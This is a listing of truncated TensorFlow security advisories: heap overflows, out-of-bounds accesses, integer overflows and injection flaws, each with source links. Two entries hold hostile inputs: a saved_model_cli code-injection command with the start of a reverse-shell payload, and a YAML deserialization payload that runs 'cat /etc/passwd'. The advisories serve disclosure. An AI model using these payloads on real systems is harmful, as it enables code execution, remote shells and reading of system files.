Intel Optimization For Tensorflow vulnerabilities

CVE-2023-25668 [CRITICAL] CWE-122 TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation ### Impact Attackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE. When axis is larger than the dim of input, c->Dim(input,axis) goes out of bound. Same problem occurs in the Quantize

CVE-2022-41900 [HIGH] CWE-125 FractionalMaxPool and FractionalAVGPool heap out-of-bounds acess FractionalMaxPool and FractionalAVGPool heap out-of-bounds acess ### Impact An input `pooling_ratio` that is smaller than 1 will trigger a heap OOB in [`tf.raw_ops.FractionalMaxPool`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/fractional_max_pool_op.cc) and [`tf.raw_ops.FractionalAvgPool`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/fr

CVE-2020-15207 [MEDIUM] CWE-119 Segfault and data corruption in tensorflow-lite Segfault and data corruption in tensorflow-lite ### Impact To mimic Python's indexing with negative values, TFLite uses `ResolveAxis` to convert negative values to positive indices. However, the only check that the converted index is now valid is only present in debug builds: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/internal/reference/reduce.h#L68

CVE-2022-23559 [HIGH] CWE-190 Integer overflow in TFLite Integer overflow in TFLite ### Impact An attacker can craft a TFLite model that would cause an integer overflow [in embedding lookup operations](https://github.com/tensorflow/tensorflow/blob/ca6f96b62ad84207fbec580404eaa7dd7403a550/tensorflow/lite/kernels/embedding_lookup_sparse.cc#L179-L189): ```cc int embedding_size = 1; int lookup_size = 1; for (int i = 0; i data.i32[i]; lookup_size *= dim; output_shape->data[k] = dim; } for (int i =

CVE-2020-15196 [MEDIUM] CWE-119 Heap buffer overflow in Tensorflow Heap buffer overflow in Tensorflow ### Impact The `SparseCountSparseOutput` and `RaggedCountSparseOutput` implementations don't validate that the `weights` tensor has the same shape as the data. The check exists for `DenseCountSparseOutput`, where both tensors are fully specified: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L110-L117 In the sparse a

CVE-2022-23560 [HIGH] CWE-125 Read and Write outside of bounds in TensorFlow Read and Write outside of bounds in TensorFlow ### Impact An attacker can craft a TFLite model that would allow limited reads and writes outside of arrays in TFLite. This exploits missing validation in [the conversion from sparse tensors to dense tensors](https://github.com/tensorflow/tensorflow/blob/ca6f96b62ad84207fbec580404eaa7dd7403a550/tensorflow/lite/kernels/internal/utils/sparsity_format_converter.cc#L252-L293).

CVE-2020-15202 [HIGH] CWE-197 Integer truncation in Shard API usage Integer truncation in Shard API usage ### Impact The `Shard` API in TensorFlow expects the last argument to be a function taking two `int64` (i.e., `long long`) arguments: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/util/work_sharder.h#L59-L60 However, there are several places in TensorFlow where a lambda taking `int` or `int32` arguments is being used: https://github.

CVE-2020-15195 [MEDIUM] CWE-119 Heap buffer overflow in Tensorflow Heap buffer overflow in Tensorflow ### Impact The implementation of `SparseFillEmptyRowsGrad` uses a double indexing pattern: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L263-L269 It is possible for `reverse_index_map(i)` to be an index outside of bounds of `grad_values`, thus resulting in a heap buffer overflow. ### Patches We have

CVE-2022-23558 [HIGH] CWE-190 Integer overflow in TFLite array creation Integer overflow in TFLite array creation ### Impact An attacker can craft a TFLite model that would cause an integer overflow [in `TfLiteIntArrayCreate`](https://github.com/tensorflow/tensorflow/blob/ca6f96b62ad84207fbec580404eaa7dd7403a550/tensorflow/lite/c/common.c#L53-L60): ```cc TfLiteIntArray* TfLiteIntArrayCreate(int size) { int alloc_size = TfLiteIntArrayGetSizeInBytes(size); // ... TfLiteIntArray* ret = (TfLiteInt

CVE-2022-23561 [HIGH] CWE-787 Out of bounds write in TFLite Out of bounds write in TFLite ### Impact An attacker can craft a TFLite model that would cause a write outside of bounds of an array in TFLite. In fact, the attacker can override the linked list used by the memory allocator. This can be leveraged for an arbitrary write primitive under certain conditions. ### Patches We have patched the issue in GitHub commit [6c0b2b70eeee588591680f5b7d5d38175fd7cdf6](https://github.com/tensorflow/tens

CVE-2022-23566 [HIGH] CWE-787 Out of bounds write in Tensorflow Out of bounds write in Tensorflow ### Impact TensorFlow is vulnerable to a heap OOB write in [Grappler](https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/grappler/costs/graph_properties.cc#L1132-L1141): ```cc Status SetUnknownShape(const NodeDef* node, int output_port) { shape_inference::ShapeHandle shape = GetUnknownOutputShape(node, output_port); InferenceContext* ctx = GetCon

CVE-2022-23574 [HIGH] CWE-125 Out of bounds read and write in Tensorflow Out of bounds read and write in Tensorflow ### Impact There is a typo in TensorFlow's [`SpecializeType`](https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/framework/full_type_util.cc#L81-L102) which results in heap OOB read/write: ```cc for (int i = 0; i args_size(); j++) { auto* arg = t->mutable_args(i); // ... } } ``` Due to a typo, `arg` is initialized to the `i`th

CVE-2022-29216 [HIGH] CWE-94 Code injection in `saved_model_cli` in TensorFlow Code injection in `saved_model_cli` in TensorFlow ### Impact TensorFlow's `saved_model_cli` tool is vulnerable to a code injection: ``` saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./ --tag_set serve --signature_def serving_default ``` This can be used to open a reverse shell ``` saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport subprocess\ns=socket.socket(socke

CVE-2020-15208 [HIGH] CWE-125 Data corruption in tensorflow-lite Data corruption in tensorflow-lite ### Impact When determining the common dimension size of two tensors, TFLite uses a `DCHECK` which is no-op outside of debug compilation modes: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/internal/types.h#L437-L442 Since the function always returns the dimension of the first tensor, malicious attackers can craft cases where this

CVE-2021-37678 [HIGH] CWE-502 Arbitrary code execution due to YAML deserialization Arbitrary code execution due to YAML deserialization ### Impact TensorFlow and Keras can be tricked to perform arbitrary code execution when deserializing a Keras model from YAML format. ```python from tensorflow.keras import models payload = ''' !!python/object/new:type args: ['z', !!python/tuple [], {'extend': !!python/name:exec }] listitems: "__import__('os').system('cat /etc/passwd')" ''' models.model_from

CVE-2020-15205 [MEDIUM] CWE-119 Data leak in Tensorflow Data leak in Tensorflow ### Impact The `data_splits` argument of [`tf.raw_ops.StringNGrams`](https://www.tensorflow.org/api_docs/python/tf/raw_ops/StringNGrams) lacks validation. This allows a user to pass values that can cause heap overflow errors and even leak contents of memory ```python >>> tf.raw_ops.StringNGrams(data=["aa", "bb", "cc", "dd", "ee", "ff"], data_splits=[0,8], separator=" ", ngram_widths=[3], left_pad="", right_pad="", p

CVE-2020-15212 [CRITICAL] CWE-787 Out of bounds access in tensorflow-lite Out of bounds access in tensorflow-lite ### Impact In TensorFlow Lite models using segment sum can trigger writes outside of bounds of heap allocated buffers by inserting negative elements in the segment ids tensor: https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/lite/kernels/internal/reference/reference_ops.h#L2625-L2631 Users having access to `segment_ids_data` can alte

CVE-2022-21727 [HIGH] CWE-190 Integer overflow in Tensorflow Integer overflow in Tensorflow ### Impact The [implementation of shape inference for `Dequantize`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/ops/array_ops.cc#L3001-L3034) is vulnerable to an integer overflow weakness: ```python import tensorflow as tf input = tf.constant([1,1],dtype=tf.qint32) @tf.function def test(): y = tf.raw_ops.Dequantize( input=input, min_range=[1.0

CVE-2022-41894 [HIGH] CWE-120 Buffer overflow in `CONV_3D_TRANSPOSE` on TFLite Buffer overflow in `CONV_3D_TRANSPOSE` on TFLite ### Impact The reference kernel of the [`CONV_3D_TRANSPOSE`](https://github.com/tensorflow/tensorflow/blob/091e63f0ea33def7ecad661a5ac01dcafbafa90b/tensorflow/lite/kernels/internal/reference/conv3d_transpose.h#L121) TensorFlow Lite operator wrongly increments the data_ptr when adding the bias to the result. Instead of `data_ptr += num_channels;` it should be `data_ptr

CVE-2022-35939 [HIGH] CWE-787 TensorFlow vulnerable to OOB write in `scatter_nd` in TF Lite TensorFlow vulnerable to OOB write in `scatter_nd` in TF Lite ### Impact The [`ScatterNd`](https://github.com/tensorflow/tensorflow/blob/266558ac4c1f361e9a178ee9d3f0ce2e648ae499/tensorflow/lite/kernels/internal/reference/reference_ops.h#L659-L698) function takes an input argument that determines the indices of of the output tensor. An input index greater than the output tensor or less than zero will eith